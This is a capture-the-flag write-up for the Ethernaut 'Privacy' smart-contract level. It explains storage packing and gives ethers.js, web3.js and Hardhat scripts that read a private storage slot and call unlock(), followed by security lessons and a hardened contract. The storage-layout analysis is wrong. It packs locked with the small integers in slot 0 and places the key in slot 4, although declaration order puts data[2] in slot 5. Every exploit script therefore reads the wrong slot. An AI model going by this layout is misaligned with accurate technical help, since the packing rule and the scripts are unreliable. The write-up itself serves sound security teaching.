March 18, 2024

Privacy Challenge - Ethernaut Level 12

10 min readDifficulty: Hard

Challenge Description

Storage LayoutSolidityBlockchainLevel 12

Challenge Goal

Unlock the contract by finding the private key. This challenge requires understanding of storage packing, multiple data types, and how to read specific bytes from storage slots.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...
    (ASCII art removed for clarity)
  */
}

Understanding the Contract

Let's break down how this contract works:

  1. State Variables: The contract has several state variables:
    • locked (public bool): Indicates whether the contract is locked
    • ID (public uint256): Set to block.timestamp during construction
    • flattening (private uint8): Set to 10
    • denomination (private uint8): Set to 255
    • awkwardness (private uint16): Set to block.timestamp cast to uint16
    • data (private bytes32[3]): An array of three 32-byte values passed in constructor
  2. Constructor: Takes a bytes32 array and stores it in the data variable
  3. unlock Function: Compares the provided key with data[2] (the third element) and unlocks if they match

The vulnerability lies in understanding the storage layout and accessing the private data array.

Understanding Storage Layout

This challenge requires deep understanding of how Solidity packs variables into storage slots. Let's analyze the storage layout:

Storage Layout Analysis

Storage Layout:
Slot 0: locked (bool) - 1 byte
        flattening (uint8) - 1 byte  
        denomination (uint8) - 1 byte
        awkwardness (uint16) - 2 bytes
        [padding] - 27 bytes
        Total: 32 bytes

Slot 1: ID (uint256) - 32 bytes

Slot 2: data[0] (bytes32) - 32 bytes

Slot 3: data[1] (bytes32) - 32 bytes

Slot 4: data[2] (bytes32) - 32 bytes (This contains the key we need!)

Note: Variables in the same slot are packed together to save gas.

Storage Packing Rules

Solidity packs variables into storage slots according to these rules:

  • Variables are packed from right to left within a slot
  • Each slot is 32 bytes (256 bits)
  • Variables that don't fit in the current slot start a new slot
  • Arrays and mappings always start on new slots
  • Structs follow the same packing rules

The Vulnerability

This contract has the same fundamental issue as the Vault challenge, but with added complexity:

  • Storage Visibility: All storage data is publicly readable, regardless of visibility modifiers
  • Complex Layout: The key is stored in data[2] at storage slot 4
  • Type Conversion: The unlock function expects a bytes16 but stores bytes32
  • Storage Packing: Understanding how variables are packed into slots is crucial

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Read the storage slot 4 to get data[2] (the full bytes32 value)
  2. Convert the bytes32 to bytes16 (take the first 16 bytes)
  3. Call the unlock function with the bytes16 key
  4. Verify that the contract is now unlocked

Reading Storage Data

We can read the storage data using several methods:

Method 1: Using ethers.js

// Using ethers.js to read storage
const privacyAddress = "INSTANCE_ADDRESS";

// Read data[2] from storage slot 4
const dataSlot2 = await ethers.provider.getStorageAt(privacyAddress, 4);
console.log("data[2] (bytes32):", dataSlot2);

// Convert bytes32 to bytes16 (take first 16 bytes)
const key = dataSlot2.slice(0, 34); // Remove '0x' and take first 32 chars (16 bytes)
console.log("Key (bytes16):", key);

// Call unlock with the key
const privacy = await ethers.getContractAt("Privacy", privacyAddress);
const tx = await privacy.unlock(key);
await tx.wait();

// Check if the contract is unlocked
const locked = await privacy.locked();
console.log("Contract locked:", locked);

Method 2: Using web3.js

// Using web3.js to read storage
const privacyAddress = "INSTANCE_ADDRESS";

// Read data[2] from storage slot 4
const dataSlot2 = await web3.eth.getStorageAt(privacyAddress, 4);
console.log("data[2] (bytes32):", dataSlot2);

// Convert bytes32 to bytes16 (take first 16 bytes)
const key = dataSlot2.slice(0, 34); // Remove '0x' and take first 32 chars (16 bytes)
console.log("Key (bytes16):", key);

// Call unlock with the key
const privacy = new web3.eth.Contract(PrivacyABI, privacyAddress);
await privacy.methods.unlock(key).send({ from: playerAddress });

// Check if the contract is unlocked
const locked = await privacy.methods.locked().call();
console.log("Contract locked:", locked);

Method 3: Using Remix IDE

You can also exploit this manually using Remix IDE:

  1. Deploy the Privacy contract with some data
  2. In the Remix console, use web3.eth.getStorageAt(contractAddress, 4) to read data[2]
  3. Convert the bytes32 to bytes16 by taking the first 16 bytes
  4. Call the unlock function with the bytes16 key
  5. Check the locked variable to confirm it's now false

Complete Exploit Script

// Complete exploit script
const { ethers } = require("hardhat");

async function main() {
  // Get the privacy instance address
  const privacyAddress = "INSTANCE_ADDRESS";
  
  console.log("Privacy address:", privacyAddress);
  
  // Read the current locked status
  const privacy = await ethers.getContractAt("Privacy", privacyAddress);
  const initiallyLocked = await privacy.locked();
  console.log("Initially locked:", initiallyLocked);
  
  // Read data[2] from storage slot 4
  const dataSlot2 = await ethers.provider.getStorageAt(privacyAddress, 4);
  console.log("data[2] (bytes32):", dataSlot2);
  
  // Convert bytes32 to bytes16 (take first 16 bytes)
  const key = dataSlot2.slice(0, 34); // Remove '0x' and take first 32 chars (16 bytes)
  console.log("Key (bytes16):", key);
  
  // Unlock the contract
  console.log("Unlocking contract...");
  const tx = await privacy.unlock(key);
  await tx.wait();
  console.log("Unlock transaction completed!");
  
  // Verify the contract is unlocked
  const finallyLocked = await privacy.locked();
  console.log("Finally locked:", finallyLocked);
  
  if (!finallyLocked) {
    console.log("✅ Contract successfully unlocked!");
  } else {
    console.log("❌ Contract is still locked");
  }
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Understanding the Conversion

The key insight is understanding the conversion from bytes32 to bytes16:

  • data[2] is stored as bytes32 (32 bytes)
  • The unlock function expects bytes16 (16 bytes)
  • We need to take the first 16 bytes of the bytes32 value
  • This is done by slicing the hex string: dataSlot2.slice(0, 34)

Example Conversion

// Example conversion
const dataSlot2 = "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef";
const key = dataSlot2.slice(0, 34);
// Result: "0x1234567890abcdef1234567890abcdef"

// Explanation:
// - Remove '0x' prefix (2 chars)
// - Take first 32 hex characters (16 bytes)
// - Add '0x' prefix back
// - Total length: 34 characters

Security Lessons

  • Storage Visibility: All data stored in smart contracts is publicly readable, regardless of visibility modifiers.
  • Storage Packing: Understanding how variables are packed into storage slots is crucial for security analysis.
  • Type Conversions: Be careful with type conversions, especially when dealing with bytes of different sizes.
  • Complex Storage: Arrays and complex data structures can make storage analysis more challenging but not impossible.
  • No True Privacy: Never assume that data stored in smart contracts is private, even with complex storage layouts.

Prevention

Here's how you could improve this contract to make it more secure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract SecurePrivacy is Ownable {
    bool public locked;
    mapping(address => bool) public authorizedUsers;
    
    event ContractUnlocked(address indexed user);
    event UserAuthorized(address indexed user);
    
    constructor() {
        locked = true;
        authorizedUsers[msg.sender] = true; // Owner is authorized
    }
    
    modifier onlyAuthorized() {
        require(authorizedUsers[msg.sender], "Not authorized");
        _;
    }
    
    function unlock() external onlyAuthorized {
        require(locked, "Contract already unlocked");
        locked = false;
        emit ContractUnlocked(msg.sender);
    }
    
    function authorizeUser(address user) external onlyOwner {
        authorizedUsers[user] = true;
        emit UserAuthorized(user);
    }
    
    function revokeUser(address user) external onlyOwner {
        authorizedUsers[user] = false;
    }
    
    function lock() external onlyOwner {
        locked = true;
    }
}

The improved contract:

  • Uses access control instead of passwords
  • Implements proper authorization mechanisms
  • Includes events for transparency
  • Allows the owner to manage authorized users
  • Doesn't rely on "hidden" data for security

Advanced Storage Analysis

For more complex storage analysis, you can use tools like:

  • Storage Layout: Use solc --storage-layout to get the exact storage layout
  • Etherscan: View contract storage on block explorers
  • Hardhat: Use hardhat-storage-layout plugin
  • Manual Analysis: Calculate storage slots manually based on Solidity rules

Storage Layout Command

# Generate storage layout
solc --storage-layout Privacy.sol

# This will output the exact storage layout including:
# - Variable names and types
# - Storage slots
# - Offset within slots
# - Packing information

Conclusion

The Privacy challenge is an advanced lesson in Ethereum storage mechanics. It demonstrates that even complex storage layouts with multiple data types and arrays cannot hide data from determined attackers.

The key takeaways are:

  • Storage Packing: Understanding how Solidity packs variables is essential for security analysis
  • Type Conversions: Be aware of how data types are converted, especially with bytes
  • No Privacy: All blockchain data is public and accessible
  • Complex Analysis: Even complex storage layouts can be reverse-engineered

When designing smart contracts, always assume that all data will be publicly visible and design your security mechanisms accordingly. Use proper access controls, cryptographic techniques, and off-chain solutions when privacy is required.

Your Notes